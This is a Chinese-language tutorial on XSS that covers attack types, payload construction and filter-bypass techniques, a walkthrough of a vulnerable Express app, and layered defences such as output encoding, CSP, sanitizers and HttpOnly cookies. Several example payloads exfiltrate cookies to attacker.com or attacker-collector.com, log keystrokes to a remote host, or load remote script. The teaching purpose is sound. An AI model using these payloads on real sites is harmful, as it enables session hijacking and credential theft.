1. 项目概述从“弹窗”到“数据窃取”重新认识XSS如果你在浏览某个论坛时突然页面上弹出一个莫名其妙的“恭喜中奖”的弹窗或者你的个人主页签名被篡改成了一段奇怪的文字那么你很可能已经遭遇了一次典型的XSS攻击。XSS全称跨站脚本攻击长久以来都是Web安全领域的“常青树”漏洞。很多人对它的第一印象可能还停留在“弹个窗”、“改个页面内容”的恶作剧层面认为它危害不大。但作为一名在安全一线摸爬滚打多年的从业者我必须告诉你这种想法极其危险。一个精心构造的XSS攻击完全可以让攻击者窃取你的登录凭证、会话Cookie甚至操控你的浏览器进行转账、发布恶意内容其危害性不亚于直接获取服务器权限。简单来说XSS的本质是“让受害者的浏览器执行了攻击者精心构造的恶意脚本”。其核心矛盾在于Web应用过度信任了用户提交的数据没有对这些数据进行严格的过滤和转义就将其作为HTML或JavaScript的一部分输出到了页面上。攻击者正是利用了这个信任缺口将恶意代码“注入”到正常的网页中当其他用户受害者访问这个被“污染”的页面时恶意代码就会在他们的浏览器环境中执行。这个项目标题“Web安全系列——XSS攻击”其核心价值在于系统性地拆解这个看似简单、实则千变万化的攻击手法。它不仅仅是讲解几段攻击代码更是要深入到漏洞原理、攻击场景、防御体系以及实战中的对抗技巧。无论是刚入门的安全爱好者、需要提升防御能力的Web开发工程师还是负责安全测试的专业人员透彻理解XSS都是构建Web安全知识体系的基石。接下来我将结合多年实战中遇到的案例和踩过的坑带你从攻击者与防御者双重视角彻底搞懂XSS。2. XSS攻击的核心原理与类型深度拆解要有效防御必须先透彻理解攻击是如何发生的。XSS攻击虽然结果都是执行恶意脚本但根据恶意脚本的“存储”与“触发”方式不同可以分为三种主要类型反射型、存储型和DOM型。理解它们的区别是精准防御的关键。2.1 反射型XSS一次性的“钓鱼钩”反射型XSS也叫非持久型XSS是最常见的一种。它的攻击流程像一个“钓鱼”过程攻击者构造恶意链接攻击者发现某个网站搜索框存在漏洞会将搜索关键词直接显示在结果页面上。于是他构造一个特殊的URL例如http://vulnerable-site.com/search?keywordscriptalert(XSS)/script。诱导用户点击攻击者通过社交工程学手段如发送伪装成客服的邮件、在论坛发布吸引人的帖子将这个恶意链接发送给受害者。服务器反射恶意脚本受害者点击链接浏览器向vulnerable-site.com发起请求。服务器接收到keyword参数未经处理就直接将其嵌入到返回的HTML页面中。浏览器执行脚本受害者的浏览器接收到响应将scriptalert(XSS)/script当作正常的HTML脚本解析并执行于是弹出了警告框。核心特点与实战要点非持久化恶意脚本“存活”在URL中并未存储在服务器数据库里。只有点击了特定链接的用户才会中招。依赖交互攻击成功高度依赖于诱导用户点击。因此反射型XSS常与钓鱼攻击结合使用。常见出现位置搜索框、错误信息页面、表单提交确认页等任何将用户输入直接回显到响应中的地方。注意现代浏览器如Chrome、Edge内置的XSS审计器XSS Auditor或反射型XSS保护机制会对部分明显的反射型XSS进行拦截。但这绝不能成为开发者不修复漏洞的理由因为保护机制并非万能且其他浏览器可能没有类似功能。2.2 存储型XSS潜伏的“定时炸弹”存储型XSS又称持久型XSS是危害性最大的一种。攻击流程如下攻击者提交恶意数据攻击者在一个存在漏洞的网站功能点如论坛发帖、用户评论、个人简介中提交一段包含恶意脚本的内容。例如在评论框中输入scriptvar imgnew Image(); img.srchttp://attacker.com/steal?cookiedocument.cookie;/script。服务器存储恶意数据网站后端程序未经验证和过滤直接将这条评论存入数据库。用户访问触发页面任何后续用户访问包含这条评论的页面时比如查看帖子详情。服务器输出恶意脚本服务器从数据库读取这条评论并将其作为页面内容的一部分输出到HTML中。所有访问者浏览器执行每个访问该页面的用户其浏览器都会执行这段窃取Cookie的脚本攻击者的服务器attacker.com就会收到大量用户的会话Cookie。核心特点与实战要点持久化恶意脚本被永久存储在服务器端数据库、文件系统等只要漏洞不修复它就像一颗定时炸弹持续影响所有访问相关页面的用户。危害范围广无需诱导用户点击特定链接所有正常访问的用户都可能成为受害者。攻击场景严重常用于窃取用户敏感信息Cookie、Token、发起“水坑攻击”在用户常访问的页面挂马、甚至蠕虫式传播如Samy蠕虫利用XSS自我复制传播。常见出现位置所有用户生成内容且能展示给其他用户的地方如论坛、博客评论、用户昵称、聊天室消息、工单系统等。2.3 DOM型XSS纯前端的“影子杀手”DOM型XSS是一种比较特殊的类型其恶意代码的执行完全发生在客户端的JavaScript逻辑中不经过服务器端处理。漏洞根源在于前端JavaScript不安全地操作了DOM文档对象模型。漏洞代码示例假设一个页面有如下JavaScript代码// 从当前URL的hash部分#后面的内容获取参数 var userInput window.location.hash.substring(1); // 不安全地将输入写入DOM document.getElementById(message).innerHTML Welcome, userInput;攻击者构造URL攻击者构造URLhttp://safe-site.com/page.html#img srcx onerroralert(DOM XSS)。前端脚本触发受害者访问该URL。浏览器不会将#后的内容发送到服务器因此服务器完全不知情。页面JavaScript执行userInput变量被赋值为img srcx onerroralert(DOM XSS)。不安全DOM操作innerHTML属性将这段字符串当作HTML解析并插入到idmessage的元素中。当解析到img标签时会尝试加载一个不存在的srcx随即触发onerror事件执行其中的JavaScript代码。核心特点与实战要点纯客户端整个攻击链不涉及服务器端代码缺陷服务器返回的可能是完全“干净”的静态页面服务器端日志可能看不到任何异常。这给漏洞检测和防御带来了独特挑战。来源多样攻击载荷可来自URL如document.location、document.referrer、浏览器存储localStorage、sessionStorage、或其他客户端APIpostMessage接收的数据。检测难度大传统的SAST静态应用安全测试工具和服务器端WAFWeb应用防火墙很难检测到这类漏洞因为漏洞逻辑在前端。常见危险函数/属性innerHTML、outerHTML、document.write()、eval()、setTimeout()/setInterval()第一个参数为字符串时、location相关属性的直接拼接等。3. 从原理到利用手把手构造一个XSS攻击载荷理解了原理我们来看看攻击者具体是如何构造那些“神奇”的恶意代码的。这并非鼓励攻击而是知己知彼只有知道攻击如何形成才能构建有效的防御。XSS载荷的构造是一门“艺术”核心目标是绕过前端的简单过滤和后端的过滤/转义机制。3.1 基础载荷与事件处理器最简单的XSS载荷就是script标签。但现代Web应用或多或少都会对script进行过滤。因此攻击者会转向使用HTML标签的事件处理器属性。!-- 经典弹窗 -- img srcx onerroralert(1) !-- 利用svg标签 -- svg onloadalert(1) !-- 利用body标签 -- body onloadalert(1) !-- 利用iframe标签 -- iframe onloadalert(1)onerror、onload、onmouseover等事件处理器可以在特定事件触发时执行JavaScript代码。srcx指向一个不存在的资源图片加载失败会立即触发onerror事件。实战绕过技巧1大小写与嵌套混淆如果系统简单过滤了script可能会尝试以下变种ScRiPtalert(1)/ScRiPt scriptalert(1)/script // 利用HTML解析特性标签名中的空格会被忽略 scrscriptiptalert(1)/scr/scriptipt // 如果过滤是简单的字符串替换可能被中间插入的标签绕过3.2 高级绕过编码与特殊语法当基本的标签和事件被过滤时攻击者会采用编码和JavaScript特殊语法来绕过。HTML实体编码绕过 如果输出点位于HTML标签属性值内且属性值被引号包围但引号未被转义可以考虑编码。!-- 假设输入点input valueUSER_INPUT -- !-- 攻击输入scriptalert(1)/script -- !-- 最终构造input valuescriptalert(1)/script --如果和被过滤但输出上下文允许可以尝试使用HTML实体编码的十进制或十六进制形式浏览器在解析HTML时会自动解码。!-- 十进制 -- img srcx onerror#97;#108;#101;#114;#116;#40;#49;#41; !-- 十六进制 -- img srcx onerror#x61;#x6c;#x65;#x72;#x74;#x28;#x31;#x29;JavaScript编码与eval绕过 在JavaScript上下文中可以利用eval()、setTimeout()、Function构造函数等执行经过编码的字符串。// 假设输入点scriptvar data USER_INPUT; /script // 攻击输入;alert(1);// // 最终构造scriptvar data ;alert(1);//; /script如果单引号被转义可以尝试Unicode编码或JSFuck等极端编码形式可读性极差但能执行。// 利用String.fromCharCode动态构造字符串 img srcx onerroreval(String.fromCharCode(97,108,101,114,116,40,49,41))3.3 实战攻击目标Cookie窃取与会话劫持一个弹窗证明漏洞存在但真正的攻击远不止于此。最常见的攻击目的是窃取用户的会话Cookie。script var img new Image(); img.src http://attacker-collector.com/steal?cookie encodeURIComponent(document.cookie); /script这段代码会创建一个隐藏的图片请求将当前页面的Cookie作为参数发送到攻击者控制的服务器attacker-collector.com。攻击者拿到Cookie后即可在浏览器中设置该Cookie冒充受害者身份登录系统。进阶利用键盘记录与页面篡改// 简单的键盘记录器示例实际更复杂 document.onkeypress function(e) { var xhr new XMLHttpRequest(); xhr.open(POST, http://attacker.com/log, true); xhr.send(key e.key); }; // 篡改页面内容例如在登录表单后增加一个隐藏的输入框将密码偷偷发送出去 var loginForm document.getElementById(login-form); var stealthInput document.createElement(input); stealthInput.type hidden; stealthInput.name steal-password; stealthInput.id steal-pw; loginForm.appendChild(stealthInput); document.getElementById(password).addEventListener(input, function(e){ document.getElementById(steal-pw).value e.target.value; });重要心得在渗透测试或安全评估中证明XSS漏洞危害时使用alert(document.domain)或alert(1)是行业惯例因为它安全、无害且直观。切勿在未经授权的系统中尝试真实的窃取载荷这不仅是非法的也违背职业道德。4. 构建铜墙铁壁XSS防御的纵深策略防御XSS没有银弹需要一套组合拳在数据输入、处理和输出的各个环节建立防线。这被称为“纵深防御”。4.1 第一道防线输入验证与过滤输入验证是确保数据符合预期格式的第一关应遵循“白名单”原则。白名单验证明确允许的字符集拒绝其他所有。例如用户名只允许字母数字邮箱地址必须符合特定格式数字字段必须为数字。// PHP示例白名单验证邮箱 if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { die(Invalid email format); } // 示例只允许字母数字 if (!preg_match(/^[a-zA-Z0-9]$/, $username)) { die(Username can only contain letters and numbers); }谨慎对待黑名单试图列出所有危险字符如,,,,,/,javascript:进行过滤很容易被绕过不应作为主要防御手段只能作为辅助。踩坑记录我曾见过一个系统过滤了script但允许scrscriptipt因为过滤函数只执行一次替换结果中间的script被删掉两边的字符又组成了新的script。这充分说明了黑名单的不可靠性。4.2 第二道防线输出编码最核心、最有效输出编码是防御XSS的基石。其核心思想是将数据根据其插入的上下文进行相应的编码使其被解释为纯文本而非可执行的代码。HTML正文上下文使用HTML实体编码。将转换为lt;将转换为gt;将转换为amp;将转换为quot;将转换为#x27;(或apos;但#x27;兼容性更好)现代前端框架如React, Vue, Angular默认对所有动态绑定进行HTML编码这是它们安全性的一大优势。HTML属性上下文除了对HTML特殊字符编码还需注意属性值必须用引号包围。!-- 错误属性值无引号易被闭合 -- input value?php echo $userInput; ? !-- 攻击输入onmouseoveralert(1) x -- !-- 结果input valueonmouseoveralert(1) x -- !-- 正确引号包围 编码 -- input value?php echo htmlspecialchars($userInput, ENT_QUOTES); ?htmlspecialchars($string, ENT_QUOTES)函数会编码双引号和单引号。JavaScript上下文将数据插入到script标签内或事件处理器中时必须进行JavaScript编码。将数据放入引号中单引号或双引号。对破坏字符串结构的字符进行Unicode转义例如-\x27,-\x22,\-\\, 换行符 -\n。最佳实践是避免在JavaScript中直接拼接用户数据而是通过>// 错误 var url /profile?user userInput; // 正确 var url /profile?user encodeURIComponent(userInput);特别注意要警惕javascript:伪协议。任何用户可控的URL前缀都必须严格验证协议头白名单只允许http://,https://,mailto:等。4.3 第三道防线内容安全策略CSPCSP是一个强大的浏览器安全特性它通过HTTP头Content-Security-Policy告诉浏览器哪些外部资源脚本、样式、图片、字体等可以被加载和执行从而从根本上减少XSS的风险。 一个严格的CSP策略示例Content-Security-Policy: default-src self; script-src self https://trusted.cdn.com; style-src self unsafe-inline; img-src *; font-src selfdefault-src self默认只允许加载同源资源。script-src self https://trusted.cdn.com脚本只允许来自同源和指定的可信CDN。这可以阻止内联脚本如scriptalert(1)/script和来自恶意域的外链脚本执行。style-src self unsafe-inline样式允许同源和内联很多UI框架需要内联样式。img-src *图片可以从任何地方加载。font-src self字体只能从同源加载。部署CSP的实战步骤报告模式开始先使用Content-Security-Policy-Report-Only头策略不生效但会向指定端点报告违规行为。用于观察现有网站的资源加载情况避免直接上线导致页面崩溃。分析报告根据报告逐步调整策略将必要的资源域名加入白名单。逐步收紧移除unsafe-inline和unsafe-eval使用nonce或hash来允许特定的内联脚本。正式启用策略稳定后将头改为Content-Security-Policy。避坑指南启用CSP后常见的第三方服务如Google Analytics、在线客服代码、社交媒体分享按钮等都需要将其脚本域名加入script-src白名单。务必提前梳理所有依赖的外部资源。4.4 第四道防线安全的开发框架与库使用现代前端框架如前所述React/Vue/Angular等框架的模板系统默认提供了上下文感知的自动转义极大地降低了XSS风险。避免不安全的DOM API绝对避免使用innerHTML、outerHTML、document.write()来插入未经验证的用户数据。如果必须操作HTML使用textContent或setAttribute。如果必须使用innerHTML必须在插入前对用户数据执行严格的HTML净化Sanitization。使用专业的净化库对于富文本编辑器等必须允许部分HTML的场景不要自己写正则表达式过滤应使用成熟的库如DOMPurify(JavaScript)轻量、快速、高度可配置的HTML净化器。js-xss(Node.js)一个用于过滤HTML的库。HTMLPurifier(PHP)功能强大的PHP HTML过滤器。 这些库的工作原理是解析HTML根据白名单规则移除或转义危险的标签和属性。5. 实战演练从漏洞发现到修复的完整案例假设我们有一个简单的Node.js Express留言板应用存在存储型XSS漏洞。我们将模拟攻击、分析、修复的全过程。5.1 漏洞应用代码分析后端代码 (vulnerable-server.js):const express require(express); const app express(); app.use(express.urlencoded({ extended: true })); app.set(view engine, ejs); let messages []; // 模拟数据库 // 显示留言板 app.get(/, (req, res) { res.render(index, { messages: messages }); // 直接将数据传递给视图 }); // 提交留言 app.post(/post, (req, res) { const { author, content } req.body; messages.push({ author, content }); // 未做任何过滤直接存储 res.redirect(/); }); app.listen(3000, () console.log(Server running on port 3000));前端模板 (index.ejs):!DOCTYPE html html body h1留言板/h1 form action/post methodPOST input typetext nameauthor placeholder昵称br textarea namecontent placeholder留言内容/textareabr button typesubmit提交/button /form hr h2留言列表/h2 ul % messages.forEach(function(msg) { % li strong% msg.author %/strong: % msg.content % !-- 危险直接输出未编码的内容 -- /li % }); % /ul /body /html漏洞点模板中使用% %输出变量EJS默认会对HTML特殊字符进行转义。但是如果开发者在某些场景下错误地使用了%- %输出原始HTML或者像本例中我们假设一个更糟糕的情况模板引擎没有自动转义那么msg.author和msg.content中的HTML/JS代码就会被浏览器解析执行。5.2 攻击模拟与验证启动漏洞服务器node vulnerable-server.js构造攻击载荷在留言板的“昵称”或“内容”框中输入scriptalert(XSS on document.domain)/script或者更具危害性的img srcx onerrorvar sdocument.createElement(script);s.srchttp://attacker.com/evil.js;document.body.appendChild(s);提交留言。触发攻击刷新或重新访问留言板首页。所有访问者都会看到弹窗或者他们的浏览器会加载并执行来自attacker.com的恶意脚本。5.3 分步修复方案实施修复方案一实施输出编码治本修改index.ejs模板确保所有动态内容都经过编码。对于EJS% %已经做了HTML实体编码这是正确的。但我们需要确保没有使用%- %。如果使用其他模板引擎或无模板引擎需手动编码。// 如果使用纯JavaScript输出需要手动编码 function htmlEncode(text) { const div document.createElement(div); div.textContent text; return div.innerHTML; // 浏览器会自动进行HTML实体编码 } // 在渲染留言时调用 document.getElementById(msgList).innerHTML li${htmlEncode(msg.author)}: ${htmlEncode(msg.content)}/li;修复方案二实施输入过滤与净化辅助在后端接收数据时可以进行适度的过滤但核心防御在输出端。const xss require(xss); // 使用js-xss库 app.post(/post, (req, res) { let { author, content } req.body; // 白名单验证昵称只允许中文、字母、数字、常用标点 if (!/^[\u4e00-\u9fa5a-zA-Z0-9_\-\s]$/.test(author)) { return res.status(400).send(Invalid author format); } // 对于富文本内容使用净化库此处示例留言板通常不需要富文本 // content xss(content, { whiteList: {} }); // 空白名单表示过滤所有标签只留文本 // 对于纯文本留言板直接拒绝任何HTML标签更安全 if (/[^]*/.test(content)) { return res.status(400).send(HTML tags are not allowed in content); } messages.push({ author, content }); res.redirect(/); });修复方案三部署内容安全策略CSP在Express应用中添加CSP头彻底禁止内联脚本和来自非白名单域的外联脚本。const helmet require(helmet); // 使用helmet库简化安全头设置 app.use(helmet({ contentSecurityPolicy: { directives: { defaultSrc: [self], scriptSrc: [self], // 只允许同源脚本 styleSrc: [self, unsafe-inline], // 允许内联样式必要时可移除 imgSrc: [self, data:], }, }, }));部署CSP后即使攻击者成功注入了scriptalert(1)/script浏览器也会因为违反script-src self策略而拒绝执行它。5.4 修复后验证重新提交包含script标签的留言。刷新页面。此时页面将不会执行脚本而是将script当作纯文本显示出来“scriptalert(1)/script”。检查浏览器开发者工具的Console可能会看到CSP违规报告如果配置了报告端点。攻击失效漏洞被成功修复。6. 高级话题与防御演进6.1 DOM型XSS的自动化检测难点DOM型XSS的检测是行业难点。传统的SAST工具扫描源代码难以准确追踪数据在客户端JavaScript中的复杂流动路径。DAST动态应用安全测试工具通过爬虫和模糊测试可以发现一部分但对于需要特定交互顺序触发的DOM XSS也容易漏报。目前最有效的检测方法是交互式应用安全测试IAST和人工代码审计结合。IAST工具在应用运行时插桩能实时监控数据流精准定位从源头Source如location.hash到危险函数Sink如innerHTML的完整路径。对于安全要求极高的应用必须安排专业的安全工程师进行手动代码审计重点关注所有使用innerHTML、document.write()、eval()、setTimeout(string)等危险API的地方。6.2 前端框架的安全实践以React为例它通过JSX语法和虚拟DOM默认对所有渲染的变量进行转义。const userInput img onerroralert(1) srcx; function MyComponent() { return div{userInput}/div; // 安全会被转义为文本显示 }但是React也提供了危险的“后门”dangerouslySetInnerHTML顾名思义非常危险。除非万不得已如渲染来自可信源的富文本否则绝对不要使用。如果必须用一定要在数据传入前使用DOMPurify等库进行严格的净化。import DOMPurify from dompurify; const cleanHTML DOMPurify.sanitize(userProvidedHTML); return div dangerouslySetInnerHTML{{ __html: cleanHTML }} /;不安全的内联事件处理器避免从用户输入动态生成事件处理器属性如onClick{userInput}。6.3 同源策略与CORS对XSS的影响同源策略是浏览器最重要的安全基石之一它限制了来自不同源的文档或脚本如何交互。XSS攻击之所以能窃取Cookie是因为恶意脚本运行在目标网站的源下可以无障碍地访问该源下的资源如Cookie、LocalStorage。 CORS跨源资源共享策略本身不直接防御XSS但它控制着跨域请求。一个常见的误区是攻击者通过XSS发起的到其自己服务器的请求如窃取Cookie是跨域请求会受到CORS限制吗答案是不会。浏览器发起请求不受CORS限制CORS限制的是读取响应。攻击者只需要收到请求GET或简单POST而不需要读取响应内容因此CORS无法阻止这种数据外泄。防御数据外泄需要依靠子资源完整性SRI、严格的CSP以及服务器端的登录态Cookie标记为HttpOnly和Secure。6.4 HttpOnly与Secure Cookie标志这是防御Cookie被窃取的最后一道也是极其重要的一道防线。HttpOnly设置此标志后JavaScript无法通过document.cookie访问该Cookie。这能有效缓解XSS窃取会话Cookie的风险。即使网站存在XSS攻击者也无法直接读取标记为HttpOnly的会话ID。// 服务器设置Cookie时以Node.js为例 res.cookie(sessionId, abc123, { httpOnly: true });Secure设置此标志后浏览器只会在HTTPS请求中发送该Cookie。这防止了在明文HTTP通信中被窃听。res.cookie(sessionId, abc123, { httpOnly: true, secure: true });最佳实践所有用于身份验证的会话Cookie都必须同时设置HttpOnly和Secure标志并且尽量缩短其有效期。7. 防御体系自查清单与持续学习构建XSS防御不是一劳永逸的需要融入开发流程和运维体系。以下是一份可供团队使用的自查清单设计开发阶段[ ] 是否明确所有用户输入点表单、URL参数、HTTP头、第三方API回调[ ] 是否对所有输入进行了基于白名单的格式验证[ ] 是否选用了具备自动上下文输出编码的现代框架或模板引擎[ ] 是否禁止在前端使用innerHTML、document.write()等危险API如必须使用是否有严格的净化流程[ ] 是否制定了富文本内容的净化策略并选用了可靠的净化库编码实现阶段[ ] 输出到HTML正文时是否进行了HTML实体编码框架默认处理则通过[ ] 输出到HTML属性值时属性是否用引号包围且值是否编码[ ] 在JavaScript中拼接变量时是否使用了安全的API如textContent或进行了JS编码[ ] 在拼接URL时是否使用了encodeURIComponent[ ] 是否对所有Cookie设置了HttpOnly和Secure标志测试部署阶段[ ] 是否进行了手动的XSS漏洞测试尝试各种标签、事件、编码绕过[ ] 是否引入了自动化安全扫描工具SAST/DAST/IAST并定期扫描[ ] 是否配置并启用了严格的CSP策略从Report-Only模式开始[ ] 是否对第三方依赖npm包、前端库进行了安全漏洞监控运维监控阶段[ ] 是否部署了WAFWeb应用防火墙作为缓解措施注意WAF不能替代代码修复[ ] 是否建立了安全事件监控和应急响应流程[ ] 是否定期对开发人员进行安全编码培训XSS攻击的形式在不断演化从最初的简单弹窗到结合SVG、WebSocket、Service Worker等新技术的复杂攻击。防御技术也在持续进步如Trusted Types APIChrome试图在浏览器层面强制要求对危险API的输入进行验证。作为防御者保持持续学习的心态深入理解原理建立纵深防御体系才能在这场攻防拉锯战中守住阵地。我的经验是将安全作为功能需求的一部分在需求评审、代码审查、上线部署的每个环节都加入安全卡点远比事后补救有效得多。